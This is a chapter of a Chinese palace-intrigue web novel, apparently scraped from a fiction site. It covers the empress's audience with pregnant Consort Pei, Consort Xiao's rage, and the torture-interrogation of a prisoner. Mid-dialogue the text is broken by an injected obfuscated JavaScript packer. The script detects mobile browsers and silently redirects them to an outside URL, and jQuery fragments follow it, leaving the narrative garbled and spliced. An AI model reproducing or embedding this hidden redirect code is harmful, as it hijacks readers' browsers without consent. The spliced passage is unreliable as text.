第181章 想踩倒本宫?做梦!

作品:《夫君兼祧弟媳?改嫁小叔后我扶腰叹

    裴洛盈进来的时候身后的宫女小心翼翼地搀扶着。


    “臣妾参见皇后娘娘。”裴洛盈想要行礼。


    柳雁蓉抬手虚扶了一把:“身子重就别多礼了,翠竹,给裴妃赐座,拿个软垫子垫着腰。”


    裴洛盈谢了恩,半边屁股挨着椅子坐下,神色恭顺,却透着一股子疏离。


    她今日穿得素净,并不像德妃那般喜庆。


    “听说娘娘身子大安,臣妾特来请安。”裴洛盈的声音轻柔,“只是臣妾身子笨重,来得迟了些,还望娘娘恕罪。”


    “你如今是有身子的人,自然要以皇嗣为重。”柳雁蓉的目光落在裴洛盈隆起的腹部,眼神有些复杂。


    “太医怎么说?这一胎怀像可稳?”


    “太医说一切都好,只是这孩子有些调皮,夜里总爱折腾。”裴洛盈回答得中规中矩,既不显得邀宠,也不显得冷淡。


    一旁的德妃插嘴道:“折腾好啊,折腾说明身子骨结实,若是生个小皇子,那可是咱们大梁的喜事。”


    裴洛盈笑了笑,没接这话茬:“不管是皇子还是公主,只要平安就好。”


    柳雁蓉看着裴洛盈那副小心翼翼的模样,心里明白她在防备什么,在这宫里,没有哪个高位嫔妃会真心喜欢别人肚子里的孩子,尤其是像她这样刚复宠的皇后。


    “你说得对,平安最重要。”柳雁蓉转头吩咐翠竹,“去库房把那尊送子观音像请出来,赐给裴妃。”


    裴洛盈一惊,连忙要起身:“娘娘,这太贵重了……”


    “给你你就拿着。”柳雁蓉语气淡淡的,“这东西放着也是落灰,给你那是替皇上祈福,盼着你能为皇家开枝散叶。”


    裴洛盈只得谢恩接下。


    两人又说了几句闲话,多是些衣食住行上的琐碎。柳雁蓉问得细致,从饮食口味到宫人伺候是否尽心,一一过问,裴洛盈答得也细致,却始终保持着一种微妙的距离感。


    “行了,你们坐了这半天也乏了,都回去歇着吧。”


    柳雁蓉见差不多了,便端茶送客,“过几日的赏雪宴,还得劳烦你们多费心装扮。”


    德妃和裴洛盈起身告退。


    出了坤宁宫的大门,被冷风一吹,裴洛盈才发觉自己手心里竟出了一层薄汗。


    身边的宫女张嬷嬷低声问道:“主子,这皇后娘娘……”


    “别多嘴。”裴洛盈紧了紧身上的披风,回头看了一眼,“皇后娘娘看着温和,可那双眼睛……”


    她没有说完,只是摸了摸肚子,心里并没有因为得了赏赐而感到轻松。


    而此时的翊坤宫,却是另一番景象。


    “啪!”


    又一只上好的青花瓷瓶在地上摔得粉碎。


    萧贵妃站在满地的狼藉中,胸口剧烈起伏,那张平日里艳光四射的脸此刻因为愤怒而显得有些扭曲。


    “那病秧子凭什么?!”萧贵妃指着坤宁宫的方向破口大骂。


    “本宫辛辛苦苦替皇上打理后宫这么些年,没有功劳也有苦劳!她一好,皇上就要办什么赏雪宴?还要本宫带着命妇去拜见她?她也配!”


    殿内的宫女太监跪了一地,瑟瑟发抖,连大气都不敢出。


    贴身大宫女红莲大着胆子凑上前,避开地上的碎片:“娘娘息怒,小心气坏了身子,皇上不是说了吗,那凤印还在您手里呢,这就说明皇上心里还是向着您的。”


    “向着本宫?”萧贵妃冷笑一声,“若是真向着本宫,就不会让她在这个节骨眼上出来招摇!赏雪宴?好啊,本宫倒要看看,她这个多年不问世事的皇后,能折腾出个什么花样来!”


    她走到铜镜前,看着镜中自己那张依旧娇艳的脸,眼底闪过一丝狠厉。


    “想踩倒本宫?做梦!”


    这一日的后宫,表面上风平浪静,实则暗流涌动。


    而身处漩涡中心的柳雁蓉,送走了嫔妃后,却并没有闲着。


    “翠竹。”


    “奴婢在。”


    “让人去盯着点翊坤宫那边的动静。”


    柳雁蓉重新拿起剪刀,对准了那盆腊梅上一根长歪了的枝条,。


    萧贵妃那个性子,是沉不住气的,这几日内务府筹备宴席,她定会插手。”


    “那……咱们要不要拦着?”


    “拦着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133916|195675||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    做什么?”柳雁蓉手起刀落,咔嚓一声,那根枝条应声而断。


    “她若是不动,本宫这戏还怎么往下唱?既然要办宴,就得热热闹闹的,哪怕是乱子,也得是大乱子,才能让人看清这后宫里,到底是谁在作妖。”


    她拿起那根被剪下来的枯枝,随手扔进了炭盆里,火苗瞬间吞噬了干枯的枝条,发出一阵噼里啪啦的声响。


    皇宫内暗流涌动,皇宫外也不太平。


    京城,刑部大牢。


    金云猛耷拉着脑袋,身上的夜行衣已经被鞭子抽得破烂不堪,露出的皮肉翻卷着,伤口处渗出的血早已凝固成暗红色。


    “哗啦!”


    一桶冰冷的盐水兜头泼下。


    金云猛浑身一激灵,猛地呛咳出一口水,原本昏沉的意识被强行拽了回来,伤口遇盐,那种滋味实在算上舒服。


    负责审讯的是刑部侍郎周大人:“金云猛,本官劝你还是招了吧,你大半夜潜入禁卫军库房,意图偷换佩刀,还打伤同袍,使用毒烟,这些罪名加起来,足够你把牢底坐穿,至于刘郎中的命案……你若主动交代,或许还能留个全尸。”


    金云猛缓缓抬起头,一双眼睛布满血丝:“周大人,饭可以乱吃,话可不能乱讲,我去库房那是为了磨刀,至于毒烟……那不过是我在黑市上买来防身的小玩意儿,我也没想伤人,是他们先动的手,我那是自卫。”


    “自卫?我看你是狡辩!”周大人一拍惊堂木,“那你跑什么?”


    “我怕啊。”金云猛说话的时候嘴角还渗出血来。


    “裴将军那是出了名的杀神,大半夜带那么多人堵我,我一个小兵,没见过世面,吓破了胆想跑,这也是人之常情吧?”


    “你——”周大人被噎得一时语塞。


    这金云猛显然对大梁律法钻研得透透的,没有直接的人证物证指认他杀了刘郎中,光凭一把有缺口的刀,确实定不了死罪。


    至于夜闯库房和逃跑,顶多治个违反军纪和误伤,只要上面有人保,运作一番未必不能活命。


    就在周大人准备下令继续用刑时,牢房深处的阴影里,传来一阵脚步声。